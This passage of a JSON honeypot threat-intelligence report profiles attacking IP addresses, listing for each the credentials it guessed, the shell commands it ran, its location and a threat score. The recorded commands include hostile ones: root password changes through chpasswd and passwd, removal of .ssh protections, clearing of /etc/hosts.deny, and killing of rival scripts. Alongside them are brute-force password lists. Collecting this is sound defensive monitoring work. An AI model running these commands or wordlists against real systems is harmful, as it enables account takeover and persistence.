        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GhLaEa4DqCet\"|chpasswd|bash",
        "echo \"root:cLGcMQeEGYr8\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:37:30.962000+00:00",
        "last_seen_30d": "2026-05-15T02:15:48.813000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 276,
        "Suricata": 72
      }
    },
    "45.117.179.232": {
      "attack_count": 246,
      "first_seen": "2026-05-28T20:52:31.675Z",
      "last_seen": "2026-05-29T14:12:58.406Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "user",
        "aaa",
        "arkserver",
        "centos",
        "deploy",
        "oscar",
        "teste"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544",
        "123456789@Ab",
        "Aa123456!!!",
        "Aa159357",
        "Abc_123456",
        "Changeme123!",
        "Nethesis,1234",
        "P@ssw0rd",
        "Qweasdzxc",
        "Qwer!234",
        "Root_123",
        "Woaini123",
        "arkserver",
        "ch123456",
        "oscar",
        "qwerty123456",
        "redhat123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9ZFZ32c2WRNG\"|chpasswd|bash",
        "echo \"root:tAfNvXasfmjr\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131353,
      "as_org": "NhanHoa Software company",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:52:31.675000+00:00",
        "last_seen_30d": "2026-05-29T14:14:08.400000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 60
      }
    },
    "186.18.240.125": {
      "attack_count": 242,
      "first_seen": "2026-05-14T03:36:52.809Z",
      "last_seen": "2026-05-14T04:22:16.157Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "135353",
        "1951",
        "2078",
        "98765!",
        "BagPula99",
        "Internet1@3",
        "Net4.0fordn1on@#$%^&",
        "Qwe!@",
        "ashley123",
        "brent",
        "chocolate",
        "cocacola",
        "ftpupload",
        "iceman",
        "nick1234",
        "opscode",
        "qQ123456",
        "samantha"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:gzVux92LLRnE\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nx1Fp9j6wcVHD\\nx1Fp9j6wcVHD\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nx1Fp9j6wcVHD\\nx1Fp9j6wcVHD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:36:52.809000+00:00",
        "last_seen_30d": "2026-05-14T04:23:26.470000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 58
      }
    },
    "201.6.100.191": {
      "attack_count": 219,
      "first_seen": "2026-05-09T23:24:02.934Z",
      "last_seen": "2026-05-10T00:08:38.180Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "deploy",
        "guest",
        "info",
        "testing",
        "345gs5662d34",
        "appuser",
        "deployer",
        "doadmin",
        "git",
        "itadmin",
        "netadmin",
        "oracle",
        "postgres",
        "root",
        "sambauser",
        "sdtdserver",
        "smbtest",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "1234",
        "1234567890",
        "123456Ab",
        "123qwe",
        "147258",
        "1qa2ws3ed",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "abc123@",
        "admin123.",
        "asdqwe123",
        "doadmin",
        "git111",
        "git12",
        "guestpassword",
        "letmein",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test\\nuqbmTgTu0GTB\\nuqbmTgTu0GTB\\n\"|passwd",
        "echo -e \"test\\nuqbmTgTu0GTB\\nuqbmTgTu0GTB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:24:02.934000+00:00",
        "last_seen_30d": "2026-05-10T00:09:44.881000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 73
      }
    },
    "38.96.178.220": {
      "attack_count": 216,
      "first_seen": "2026-05-05T00:03:03.425Z",
      "last_seen": "2026-05-31T03:54:55.338Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 58.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:03:03.425000+00:00",
        "last_seen_30d": "2026-05-31T03:56:01.896000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 108
      }
    },
    "107.175.54.2": {
      "attack_count": 212,
      "first_seen": "2026-05-21T22:11:44.452Z",
      "last_seen": "2026-05-21T22:58:33.405Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ben",
        "alfred",
        "james",
        "lee",
        "smith",
        "test",
        "west"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1qaz@WSX3edc",
        "999999999",
        "Lb123456",
        "P@$$w0rd@123",
        "Welcome01",
        "Wx123456",
        "alfred123",
        "khongaibiet",
        "q1w2e3",
        "smith",
        "test@123456",
        "west123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n1yov2ITHuqXT\\n1yov2ITHuqXT\\n\"|passwd",
        "echo \"root:vA08U437V10W\"|chpasswd|bash",
        "echo -e \"123\\n1yov2ITHuqXT\\n1yov2ITHuqXT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:11:44.452000+00:00",
        "last_seen_30d": "2026-05-21T22:59:37.102000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "41.216.178.119": {
      "attack_count": 209,
      "first_seen": "2026-05-15T11:09:35.516Z",
      "last_seen": "2026-05-15T11:51:38.839Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dbus-helper",
        "...",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "warnight",
        "linux123",
        "123qwe,./",
        "3245gs5662d34",
        "345gs5662d34",
        "Kermit123@",
        "admin888",
        "asdasdasd123",
        "caps1234",
        "hessam",
        "jasper",
        "john",
        "lihy",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "lw@123",
        "nipples",
        "peanuts",
        "poiuytrewq",
        "qazqaz123",
        "rica"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"warnight\\nVRouqmO5mntE\\nVRouqmO5mntE\\n\"|passwd",
        "echo -e \"warnight\\nVRouqmO5mntE\\nVRouqmO5mntE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 139989,
      "as_org": "CV Atha Media Prima",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:09:35.516000+00:00",
        "last_seen_30d": "2026-05-15T11:52:39.982000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 209,
        "Suricata": 68
      }
    },
    "77.83.206.248": {
      "attack_count": 209,
      "first_seen": "2026-05-16T03:22:08.904Z",
      "last_seen": "2026-05-16T04:02:37.525Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "abc",
        "boss",
        "brengoziscute",
        "crypto",
        "debian",
        "deploy",
        "enter",
        "jtribino",
        "linux",
        "newuser",
        "omkar",
        "pakchoi",
        "warnight"
      ],
      "passwords_attempted": [
        "linux123",
        "0day.today",
        "123",
        "123!@#QWE",
        "123456",
        "123456789",
        "123456789AA",
        "123456a?",
        "123qwe!!!",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin000",
        "Kermit123@",
        "Pembantu23@@",
        "Push@8240",
        "QQqq123456",
        "Qwer1234#",
        "azerty",
        "boss@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456789\\nMbtQUpIar5yZ\\nMbtQUpIar5yZ\\n\"|passwd",
        "echo -e \"123456789\\nMbtQUpIar5yZ\\nMbtQUpIar5yZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Margilan",
      "asn": 35682,
      "as_org": "Best Internet Solution Xk",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:22:08.904000+00:00",
        "last_seen_30d": "2026-05-16T04:03:41.054000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 209,
        "Suricata": 68
      }
    },
    "202.184.134.88": {
      "attack_count": 173,
      "first_seen": "2026-05-19T23:00:46.081Z",
      "last_seen": "2026-05-19T23:27:33.609Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "!a@b",
        "0727527122",
        "3245gs5662d34",
        "345gs5662d34",
        "K0nig@1",
        "a12345678@",
        "abc123.",
        "adt123",
        "c0ff33",
        "castis",
        "chang3m3",
        "claude",
        "gladstone",
        "ichbins",
        "jane123",
        "marmitta",
        "monalisa",
        "p@ssword123",
        "qaz123wsx",
        "spotlight"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wYtIAqXvO3lj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:00:46.081000+00:00",
        "last_seen_30d": "2026-05-19T23:28:41.817000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "109.236.86.20": {
      "attack_count": 168,
      "first_seen": "2026-05-08T11:21:13.260Z",
      "last_seen": "2026-05-31T10:16:49.062Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:21:13.260000+00:00",
        "last_seen_30d": "2026-05-31T10:17:50.945000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 84
      }
    },
    "171.113.145.63": {
      "attack_count": 168,
      "first_seen": "2026-05-19T06:47:29.004Z",
      "last_seen": "2026-05-19T17:59:09.970Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:47:29.004000+00:00",
        "last_seen_30d": "2026-05-19T18:00:20.398000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 100
      }
    },
    "54.38.79.136": {
      "attack_count": 167,
      "first_seen": "2026-05-21T23:40:02.426Z",
      "last_seen": "2026-05-21T23:59:20.127Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testuser",
        "mc",
        "mustafa",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Admin@2025",
        "chen123456",
        "mustafa",
        "testuser@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:l0cEGqDNux2O\"|chpasswd|bash",
        "echo \"testuser@123\\n1vWtkczyHIS2\\n1vWtkczyHIS2\\n\"|passwd",
        "echo -e \"testuser@123\\n1vWtkczyHIS2\\n1vWtkczyHIS2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:40:02.426000+00:00",
        "last_seen_30d": "2026-05-22T00:00:27.321000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 167,
        "Suricata": 24
      }
    },
    "221.233.115.91": {
      "attack_count": 164,
      "first_seen": "2026-05-19T07:20:20.533Z",
      "last_seen": "2026-05-19T17:40:31.118Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:20:20.533000+00:00",
        "last_seen_30d": "2026-05-19T17:41:35.701000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 92
      }
    },
    "103.30.40.129": {
      "attack_count": 143,
      "first_seen": "2026-05-23T09:10:18.257Z",
      "last_seen": "2026-05-23T10:01:13.597Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "backend",
        "filip",
        "gao",
        "omer",
        "sistemas",
        "viewtinet",
        "work",
        "yxu"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "123456Zz",
        "123qwe!@#QWE",
        "3245gs5662d34",
        "345gs5662d34",
        "Asd12345",
        "Gg123456",
        "P@ssw0rd@2026",
        "Senha123",
        "dupa123",
        "gao",
        "viewtinet",
        "work"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:HKaT1yNe6RK9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
